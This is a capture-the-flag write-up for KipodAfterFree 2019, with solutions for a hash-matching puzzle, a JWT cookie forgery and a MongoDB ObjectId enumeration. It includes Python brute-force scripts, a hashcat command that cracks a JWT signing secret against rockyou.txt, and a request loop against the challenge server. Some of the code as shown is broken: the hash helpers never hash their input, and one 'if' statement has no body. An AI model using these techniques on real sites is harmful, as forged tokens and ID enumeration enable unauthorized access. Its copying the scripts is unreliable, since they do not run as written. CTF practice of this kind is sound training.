1 min read

KipodAfterFree CTF 2019: Write-ups

by Vihan Bhargava
  • CTF

Write-ups for the KipodAfterFree 2019 capture the flag.

Very interesting problems in this CTF of varying difficulty. Enjoyed working through them.



This was interesting. It replaces all instances of f1a9 with the flag. It outputs some hash but doesn’t appear to be simple md5/sha1. After some investigative work I identified it as:

  • Length 0(mod3)\equiv 0 \pmod{3}: MD5
  • Length 1(mod3)\equiv 1 \pmod{3}: SHA | MD5
  • Length 2(mod3)\equiv 2 \pmod{3}: B64 | SHA | MD5

To find a hash, I wrote a python script to go over a wordlist and find a word:

from base64 import b64encode
from hashlib import sha1, md5

def do_s(string):
    s = sha1()
    return s.hexdigest().encode('ascii')

def do_m(string):
    m = md5()
    return m.hexdigest().encode('ascii')

with open('rockyou.txt', 'rb') as f:
    for line in f:
        attempt = line.strip()

        res = {
            0: lambda: do_m(attempt),
            1: lambda: do_m(do_s(attempt)),
            2: lambda: do_m(do_s(b64encode(attempt)))
        }[len(attempt) % 3]()

        if b'f1a9' in res:
            print('{}: {}'.format(attempt, res))

hollywood appears to be such a string. Entering it gives KAF{Dn4k_f1a9z___much_f1a9_l0t5_h4ppy}.


I logged in with some random username. Here’s what we have:

Notice the "powered by JWT" label.
Notice the "powered by JWT" label.

This is the JWT:


I went to jwt.io to see what this contains:

Looks like it stores clicks
Looks like it stores clicks

So we can just change it to:

  "username": "admin",
  "clickCounter": 1000000,
  "iat": 1576987620,
  "exp": 1576987650

to set that we’ve already done one million clicks. We just need to get the password used to verify the integrity of the JWT which I’ve done using hashcat:

$ hashcat -a0 -m 16500 jwt.hash ./rockyou.txt

So now I can use mypinkipod as the hash back on jwt.io and obtain a fixed JWT. Putting that back into cookie clicker I get the flag (KAF{koOK1E5_4rE_yUmmY_91Ve_mE_mOre}):

There's my flag!
There's my flag!

#Cat Space

This challenge was a bit confusing at first but automating it is key. In the code you’ll find a comment:

      - /asjson?id={picture_id}

additionally the webpage says it is powered by MongoDB. In the first picture, here’s the html:

<img id="p-5d8e5ebc54a43e28501d540f" src="/images/0.jpg">

5d8e5ebc54a43e28501d540f is the “ObjectId” in MongoDB. ObjectIDs have a specific format^[this has changed in new mongodb versions]:

  1. 4-byte unix time in seconds
  2. 3-byte machine id
  3. 2-byte process id
  4. 3-byte counter

So based on this, 0x5d8e5ebc is the time of the first database entry and our counter starts at 0x1d540f. I wrote a script to get the first 50 object IDs and fuzz about +200 the initial time. Here’s the script I wrote:

from multiprocessing import Pool
import requests

hash_start_time = 0x5d8e5ebc
hash_middle = '54a43e28501d54'
hash_start_id = 0x0f

# Try 200 times for each hash
num_hash_brutes = 200

def attempt_hash_offset(offset):
    hash_id = hash_start_id + offset
    for i in range(num_hash_brutes):
        test_hash = '{:08x}{}{:02x}'.format(hash_start_time+i, hash_middle, hash_id)
        url = 'http://ctf.kaf.sh:3010/asjson?id={}'.format(test_hash)
        result = requests.get(url).content.decode('utf8')
        if 'error' in result:

        print("{}: {}".format(offset, result))
        return offset
    print("{}: Not Found".format(offset))

if __name__ == '__main__':
    pool = Pool(8)

    # Find first 50 database items
    total_attempts = 50

    pool.map(attempt_hash_offset, range(0, total_attempts))

The script’s output:

0: {"_id":"5d8e5ebc54a43e28501d540f","url":"/images/0.jpg","caption":"Hello i'm Oscar 😹"}
1: {"_id":"5d8e5ebf54a43e28501d5410","url":"/images/1.jpg","caption":"Hello i'm Max 😽"}
... trimmed ...
17: {"_id":"5d8e5eec54a43e28501d5420","url":"/images/11.jpg","caption":"Hello i'm Puss 😼"}
22: {"_id":"5d8e5f1654a43e28501d5425","url":"/images/22.jpg","caption":"Hello i'm Lucky 😹"}
19: {"_id":"5d8e5f0154a43e28501d5422","url":"/images/17.jpg","caption":"KAF{c475_423_4w350m3}"}